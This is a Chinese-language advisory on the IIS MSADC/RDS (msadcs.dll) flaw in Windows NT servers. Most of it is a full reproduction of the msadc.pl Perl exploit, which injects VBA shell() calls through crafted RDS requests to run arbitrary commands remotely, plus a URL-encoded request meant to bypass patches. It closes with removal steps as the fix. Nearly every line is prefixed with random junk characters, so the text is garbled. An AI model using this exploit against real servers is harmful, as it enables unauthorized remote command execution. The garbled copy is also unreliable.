IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
QXk"?yT`E ^Q h-(u ` 涉及程序：
v}il(w;O Microsoft NT server
Da,&+fZI! B7 "Fp 描述：
:Z2tig nL 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
I5pp "*u jE U'.RBN% 详细：
$U'3MEEw 如果你没有时间读详细内容的话，就删除:
Z zL@ [g c:\Program Files\Common Files\System\Msadc\msadcs.dll
lIDl1Z@Z 有关的安全问题就没有了。
|>s v8/! q`loOm=y 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
], ?pe F_PTMl=Q|J 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
b:B [3|
关于利用ODBC远程漏洞的描述，请参看:
#Go(tS~o uZ[/%GTX{) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /VtlG+dLl 91;HiILgT
2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
rsSue_Q http://www.microsoft.com/security/bulletins/MS99-025faq.asp "#XtDpGk k |ip?O 这里不再论述。
W8.j /K: ] piM/v\ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
9UmBm #" 0 0,9a zs /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
j1F w
U 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
$F1_^A[ AgI > Gy^FrF #将下面这段保存为txt文件，然后: "perl -x 文件名"
5\?3$<1 I KZ 4zF #!perl
G:hU {S7 #
fn?VNZ`J
# MSADC/RDS 'usage' (aka exploit) script
GR Q_+K #
V@ Kn24'' # by rain.forest.puppy
/. 2u.G #
;&7,7 3! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:Fo4O'UC # beta test and find errors!
z1}1*F" <4sj@C use Socket; use Getopt::Std;
1 Xa+%n9 getopts("e:vd:h:XR", \%args);
x~Pvh +O 'oCm.~;_ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
yYB NH1 )8bFGX7| if (!defined $args{h} && !defined $args{R}) {
qTS @D print qq~
7
{nl..` Usage: msadc.pl -h <host> { -d <delay> -X -v }
w=5 -h <host> = host you want to scan (ip or domain)
Q- jf8A] -d <seconds> = delay between calls, default 1 second
/bi6>GaC:E -X = dump Index Server path table, if available
TIETj ~+ -v = verbose
!+=Zjm4L -e = external dictionary file for step 5
v*vn<nPAQ> Z/n3 aYM Or a -R will resume a command session
J2'W =r_# O%prD}x ~; exit;}
2aFT<T0 ~JAjr(G#o $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Pu-p7:99;' if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@+$cZ3, if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
h)^dB,~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
V0s,f .a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
TbMdQbj} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Ma>: _0I5 g;l'VA3v if (!defined $args{R}){ $ret = &has_msadc;
qP&by Es" die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-.^ 3;-[ u]P 03B print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0hFH^2%UY . "cmd /c ";
wZ$ tJQO $in=<STDIN>; chomp $in;
!O 4<I_EY{ $command="cmd /c " . $in ;
(1rJFl! (*MNox?w if (defined $args{R}) {&load; exit;}
Z(Km S ( :4%<Rp print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
AfUZO^< &try_btcustmr;
m"<4\;GK i3D<`\;r print "\nStep 2: Trying to make our own DSN...";
~:T3| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
kkT3 wP U@#?T print "\nStep 3: Trying known DSNs...";
Ze#Jhn@ &known_dsn;
v#iFQV Bq "\4]X"3<+ print "\nStep 4: Trying known .mdbs...";
-xw 9 8 &known_mdb;
SOhSg]g qx Wgt(Os if (defined $args{e}){
kNRyOUy print "\nStep 5: Trying dictionary of DSN names...";
1$);V,DK! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
VPWxHVf tp#Z@ 5= print "Sorry Charley...maybe next time?\n";
a_ Z.J 3 exit;
`< S/?I8 c _DB^M!h ##############################################################################
Z{R=h7P ,XF6Xsg2 sub sendraw { # ripped and modded from whisker
sN[@mAoH sleep($delay); # it's a DoS on the server! At least on mine...
;j Y'z5PH5 my ($pstr)=@_;
5qODS_Eq socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
802]M die("Socket problems\n");
P[|B WNei if(connect(S,pack "SnA4x8",2,80,$target)){
!gA^$(=:" select(S); $|=1;
!Z9ikn4A print $pstr; my @in=<S>;
V.OoZGE>] select(STDOUT); close(S);
sO f)/19 return @in;
`A}{
I}xq } else { die("Can't connect...\n"); }}
-%QEzu& ^ _#gIT\ ##############################################################################
\FaB!7*~ ^!s}2GcS` sub make_header { # make the HTTP request
w|U@jr*H] my $msadc=<<EOT
f"}14V POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
neMe<jr User-Agent: ACTIVEDATA
*^$N $t/2 Host: $ip
0%L$T J.'' Content-Length: $clen
Yhv`IV-s Connection: Keep-Alive
]a@v)aa- )~o`QM+ ADCClientVersion:01.06
C(Ba r# Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
I {P$B- 0z2R`=) --!ADM!ROX!YOUR!WORLD!
I 7-PF? Content-Type: application/x-varg
!*QA;*e Content-Length: $reqlen
YUE 1 '} Ns7l-mb EOT
z%-"' Y] ; $msadc=~s/\n/\r\n/g;
XzR WY\x return $msadc;}
ok=E/77` xVmUmftD ##############################################################################
(h(ZL9! x +j/v5 sub make_req { # make the RDS request
,Y/>*,J my ($switch, $p1, $p2)=@_;
Ra,on&OP`* my $req=""; my $t1, $t2, $query, $dsn;
<zWQ[^ mwiPvwHrg if ($switch==1){ # this is the btcustmr.mdb query
hD~/6bx $query="Select * from Customers where City=" . make_shell();
R=f5:8D<- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
G}OrpPP $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(6_/n&mF `1}yB elsif ($switch==2){ # this is general make table query
X=RmCc$: $query="create table AZZ (B int, C varchar(10))";
o0v m?CL# $dsn="$p1";}
fwGz00C/U ="*C&wB^ elsif ($switch==3){ # this is general exploit table query
>L3p qK
$query="select * from AZZ where C=" . make_shell();
,wy:RVv@e $dsn="$p1";}
R~ u7;Wv '3 ,JL! elsif ($switch==4){ # attempt to hork file info from index server
cF6@.) $query="select path from scope()";
"e?#c<p7 $dsn="Provider=MSIDXS;";}
l Jp v
6}ewBAq% elsif ($switch==5){ # bad query
P>cJ~F M $query="select";
X>YOo~yS5 $dsn="$p1";}
8IcQpn# Xrs ~ove1V $t1= make_unicode($query);
j7%%/%$o[ $t2= make_unicode($dsn);
v*p)"J * $req = "\x02\x00\x03\x00";
W5yu`Br $req.= "\x08\x00" . pack ("S1", length($t1));
-x5bdC(d $req.= "\x00\x00" . $t1 ;
y3$\ m $req.= "\x08\x00" . pack ("S1", length($t2));
B 3=/iOb# $req.= "\x00\x00" . $t2 ;
)% W2XvG $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Kct +QO( return $req;}
ziip*<a !_ Ji:@z%osr ##############################################################################
0L-g'^nn "s^@PzQpN sub make_shell { # this makes the shell() statement
:D7!6}% return "'|shell(\"$command\")|'";}
`
R-np_ nmAXU!t' ##############################################################################
[aU T # "TCbO`mg sub make_unicode { # quick little function to convert to unicode
eesLTy D2_ my ($in)=@_; my $out;
a go t
( for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Q |r 1. return $out;}
p 8rAtz>=J ;Q 6e&Ips/ ##############################################################################
qWK7K%-$ E cSW VHr sub rdo_success { # checks for RDO return success (this is kludge)
JH, + F my (@in) = @_; my $base=content_start(@in);
!0_Y @>2 if($in[$base]=~/multipart\/mixed/){
0{uX2h return 1 if( $in[$base+10]=~/^\x09\x00/ );}
LB0=V0| return 0;}
+ #9 (T
Unk+@$E& ##############################################################################
1j<( ?MT- kN1MPd4Yh sub make_dsn { # this makes a DSN for us
'|C3t! H` my @drives=("c","d","e","f");
[VCC+_ print "\nMaking DSN: ";
<j'V}|3 foreach $drive (@drives) {
C6_(j48& print "$drive: ";
hRcb}>pr my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]b/]^1-(b "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Ykbg5Z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
T(4d5 fY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
y7R#Pk Q ~ return 0 if $2 eq "404"; # not found/doesn't exist
/HC:H,"i if($2 eq "200") {
5gszAvOO foreach $line (@results) {
1^p/#jt return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
R$awg S E } return 0;}
^[L(kHOGzk S;Bk/\2 ##############################################################################
092t6D} fCl}eXg6w sub verify_exists {
J_s`G my ($page)=@_;
rcnH ^P my @results=sendraw("GET $page HTTP/1.0\n\n");
6] 4~]! return $results[0];}
glAS$< fif;n[< ##############################################################################
+in )(a. M-WSdG[AJ sub try_btcustmr {
o Rfb4+H& my @drives=("c","d","e","f");
9~ p;iiKGG my @dirs=("winnt","winnt35","winnt351","win","windows");
$-_" SWG. Za.}bR6 ?Y foreach $dir (@dirs) {
x ;ik
print "$dir -> "; # fun status so you can see progress
X Y0kd&N8 foreach $drive (@drives) {
QVn2`hr print "$drive: "; # ditto
U>Is mF>m $reqlen=length( make_req(1,$drive,$dir) ) - 28;
qV=O; $reqlenlen=length( "$reqlen" );
D}%VZA}]. $clen= 206 + $reqlenlen + $reqlen;
kFJ]F |^7 /&?ei*z my @results=sendraw(make_header() . make_req(1,$drive,$dir));
?:q"qwt$F if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]Y
&
2& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
,> g( %3C c[1{>z {G ##############################################################################
HH*,Oe 7d{xXJ- sub odbc_error {
6
y"r ' my (@in)=@_; my $base;
%to.'R my $base = content_start(@in);
X: FyNUa if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1>_$O|dE $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q89yW)XG $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
v&sp;%I6 = $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u 'ng'j' return $in[$base+4].$in[$base+5].$in[$base+6];}
qvsfU*wo? print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
w6 Y+Y;,'f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,0L< w a $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
% [,^2s Q1h v2*/U ##############################################################################
Ux,dj8=o *n M.`7g*[ sub verbose {
J( ~xU0gd' my ($in)=@_;
D -e^b'l return if !$verbose;
{ F0"U= print STDOUT "\n$in\n";}
xAsy0 7J? ,! ~U5~ ##############################################################################
B]D51R\}VE 'u [cT$ sub save {
)P/~{Ci:T& my ($p1, $p2, $p3, $p4)=@_;
.bMU$ O1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
or` "{wop print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
bF@iO316H close OUT;}
t5p#g < $ .|ZnU]~T ##############################################################################
z Hj_q%A is- {U? - sub load {
9/\=6v C| my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z :$TW{%M open(IN,"<rds.save") || die("Couldn't open rds.save\n");
TwE&5F* @p=<IN>; close(IN);
%ye4FwkRy $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
E<_+Tc $target= inet_aton($ip) || die("inet_aton problems");
'$OLU[(Y print "Resuming to $ip ...";
5a l44[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]_)=xF19 if($p[1]==1) {
Z Q9's $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Y wM;G
g3 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X/wqfP my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
j[1^#kE if (rdo_success(@results)){print "Success!\n";}
v3jx2 Z else { print "failed\n"; verbose(odbc_error(@results));}}
\RP=Gf elsif ($p[1]==3){
E h;~y*k\ if(run_query("$p[3]")){
{Q~A;t print "Success!\n";} else { print "failed\n"; }}
5h(] S[Zf3 elsif ($p[1]==4){
/9yA.W; if(run_query($drvst . "$p[3]")){
o;:a6D`
print "Success!\n"; } else { print "failed\n"; }}
80M4~'3 exit;}
My'6 yQL 6{I5 23g ##############################################################################
hE/y"SP3 h:+> =~\ sub create_table {
8:A6Ew&\]O my ($in)=@_;
v4< x 4 $reqlen=length( make_req(2,$in,"") ) - 28;
:U;Z Bs3 $reqlenlen=length( "$reqlen" );
}F R yG% $clen= 206 + $reqlenlen + $reqlen;
iyhB;s5Rgw my @results=sendraw(make_header() . make_req(2,$in,""));
= %7 :[#n return 1 if rdo_success(@results);
tL4xHa6v] my $temp= odbc_error(@results); verbose($temp);
R=M${u<t return 1 if $temp=~/Table 'AZZ' already exists/;
,G,T&W return 0;}
!'C^qrh
S,v9\wN. ##############################################################################
oZ~M`yOz. ji2i f.t@ sub known_dsn {
L*VGdZ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.,x0 8M my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
'u.`!w '|L "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.Isg1qrC "banner", "banners", "ads", "ADCDemo", "ADCTest");
ZD0 Q<8% ^f1}:g foreach $dSn (@dsns) {
TO)wjF_ print ".";
Nr7MSFiL next if (!is_access("DSN=$dSn"));
I#f<YbzD if(create_table("DSN=$dSn")){
FUm- Fp print "$dSn successful\n";
p2 y
h if(run_query("DSN=$dSn")){
v *~ yN* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~GS`@IU} print "Something's borked. Use verbose next time\n";}}} print "\n";}
`h
Y:F( '89D62\89 ##############################################################################
Y6f U; <
v_ ?} sub is_access {
Ty]CdyL$ my ($in)=@_;
A HKS
[ N $reqlen=length( make_req(5,$in,"") ) - 28;
AC (}cMM+ $reqlenlen=length( "$reqlen" );
|)IN20 $clen= 206 + $reqlenlen + $reqlen;
DjL(-7'p my @results=sendraw(make_header() . make_req(5,$in,""));
%-T]!3"n my $temp= odbc_error(@results);
JUU0Tx:`9) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}
ho8d+A return 0;}
Cl>'K*$F CEc&
G ##############################################################################
b;]'Bo0K u9:;ft{}N sub run_query {
Il2DZ5-
) my ($in)=@_;
4v3y3 $reqlen=length( make_req(3,$in,"") ) - 28;
eG|e1t K+ $reqlenlen=length( "$reqlen" );
-}{\C]% $clen= 206 + $reqlenlen + $reqlen;
dS0G+3J&+E my @results=sendraw(make_header() . make_req(3,$in,""));
wz.Il-sm return 1 if rdo_success(@results);
^*A/92!yF my $temp= odbc_error(@results); verbose($temp);
p!' "hx return 0;}
;PaB 5TT( o80pmy7@ ##############################################################################
dLD"Cx "M7ry9dDH sub known_mdb {
uWx/V+w my @drives=("c","d","e","f","g");
8Qu7x[tK? my @dirs=("winnt","winnt35","winnt351","win","windows");
da\K>An> my $dir, $drive, $mdb;
Y4@~NC U/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
RduA0@g0 g.DgJX&i # this is sparse, because I don't know of many
]!Y zbvoR my @sysmdbs=( "\\catroot\\icatalog.mdb",
GJ%It . "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{aGQ[MH\9 "\\system32\\certmdb.mdb",
]_d(YHYf "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
UT+\IzL x18ei@c my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
s<: "rw` "\\cfusion\\cfapps\\forums\\forums_.mdb",
kG?tgO?* "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
b ";#qVv C "\\cfusion\\cfapps\\security\\realm_.mdb",
K W04 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
l-t:7`=| "\\cfusion\\database\\cfexamples.mdb",
CG=#rc]vz "\\cfusion\\database\\cfsnippets.mdb",
bn<&Xe "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
mWmD H74 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
5? c4aAn "\\cfusion\\brighttiger\\database\\cleam.mdb",
{:6VJ0s\ "\\cfusion\\database\\smpolicy.mdb",
5uDQ* nJ| "\\cfusion\\database\cypress.mdb",
`Yoafa "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
;-*4 (3lu "\\website\\cgi-win\\dbsample.mdb",
V_+ 3@C "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%*|XN*i XC "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Ao{wd1 ); #these are just
/DbwqBx foreach $drive (@drives) {
Yo7ctwzdH; foreach $dir (@dirs){
#\`6ZHW foreach $mdb (@sysmdbs) {
H D=WHT& print ".";
NNe'5q9 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
gu wnYS print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`Jz"rh-M if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
t;E-9`N print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}vc C4 =t/ } else { print "Something's borked. Use verbose next time\n"; }}}}}
v\f 41M7D wRU pQ~=B2 foreach $drive (@drives) {
(MbI8B> foreach $mdb (@mdbs) {
mDj:w#q print ".";
6)DYQ^4y if(create_table($drv . $drive . $dir . $mdb)){
z!t &zkAK print "\n" . $drive . $dir . $mdb . " successful\n";
:IS]|3wD if(run_query($drv . $drive . $dir . $mdb)){
)zen"](cze print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
%.<w8ag } else { print "Something's borked. Use verbose next time\n"; }}}}
Dth<hS,2J }
v)J6}H}e (~/D*<A ##############################################################################
}^P( p?~ J&Le*R' sub hork_idx {
;>|:I(l; print "\nAttempting to dump Index Server tables...\n";
'{U56^b] print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Px'% 5TKN $reqlen=length( make_req(4,"","") ) - 28;
`^(6{p ? $reqlenlen=length( "$reqlen" );
sDWX} NV $clen= 206 + $reqlenlen + $reqlen;
_< kE32Bb my @results=sendraw2(make_header() . make_req(4,"",""));
\asF~P if (rdo_success(@results)){
$eRxCX?b2 my $max=@results; my $c; my %d;
':F{st>&H for($c=19; $c<$max; $c++){
$ShL^ g@ $results[$c]=~s/\x00//g;
0XL
x@FYn $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
jcFh2 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
o&gcFOM22 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
OFCkQEG=y> $d{"$1$2"}="";}
42t D$S5^ foreach $c (keys %d){ print "$c\n"; }
D
OPOzh } else {print "Index server doesn't seem to be installed.\n"; }}
tSE6m - 7f[nNng ##############################################################################
%+FM$xyJ 6+m) sub dsn_dict {
p !U#53 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
VLu_SXlo* while(<IN>){
^/mQo`[G $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
9?bfZF4A= next if (!is_access("DSN=$dSn"));
W"VN 2 if(create_table("DSN=$dSn")){
aztP`S$h print "$dSn successful\n";
m'oVqA& if(run_query("DSN=$dSn")){
1H-R-NNJ: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
H>;km$b + print "Something's borked. Use verbose next time\n";}}}
,N <;!6e print "\n"; close(IN);}
)Qb1$%r. oQWS$\Rr. ##############################################################################
9BNAj- Xa !0 *=z~ sub sendraw2 { # ripped and modded from whisker
U|-4*l9Ed sleep($delay); # it's a DoS on the server! At least on mine...
= ?vk n my ($pstr)=@_;
./J.OU1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
tG{e( die("Socket problems\n");
uSM4:!8 if(connect(S,pack "SnA4x8",2,80,$target)){
p0` Wci print "Connected. Getting data";
~ E>D0o open(OUT,">raw.out"); my @in;
.'5yFBS select(S); $|=1; print $pstr;
wL5IAkq while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
c<DsCzX close(OUT); select(STDOUT); close(S); return @in;
eV1O#FLbi } else { die("Can't connect...\n"); }}
`
n@[=l~ ZRD* ^9) ##############################################################################
91mXv Q:u Nz*qz"T sub content_start { # this will take in the server headers
) 8st my (@in)=@_; my $c;
Ml +.\'r for ($c=1;$c<500;$c++) {
~9h6"0K! if($in[$c] =~/^\x0d\x0a/){
1fViW^l_ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
[)Xu60? Q else { return $c+1; }}}
<)?H98S return -1;} # it should never get here actually
~k|~Q\ hSp[BsF`, ##############################################################################
s3/->1#i ItC *[ sub funky {
2Z7smDJ my (@in)=@_; my $error=odbc_error(@in);
6jPaS!E if($error=~/ADO could not find the specified provider/){
{~b]6}O print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ZMg% /C exit;}
>F Z 6\ if($error=~/A Handler is required/){
jEit^5^5| print "\nServer has custom handler filters (they most likely are patched)\n";
1PjSa4 exit;}
Y]&H U) u if($error=~/specified Handler has denied Access/){
e>uV8!u print "\nServer has custom handler filters (they most likely are patched)\n";
s:jr/ j! exit;}}
qI:}3b;T W-7yi `5 ##############################################################################
@ DU]XKv q<,? :g$k sub has_msadc {
`@" )R- my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
HEht^ /pJ my $base=content_start(@results);
(ai E!c return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
xfos>|0N return 0;}
p9oru0q 1 (P >TH ########################
M\e%GJ0 ]*sXISg1 bveNd0 hN 解决方案：
< ynm A 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
_S2QY7/ 2、移除web 目录: /msadc
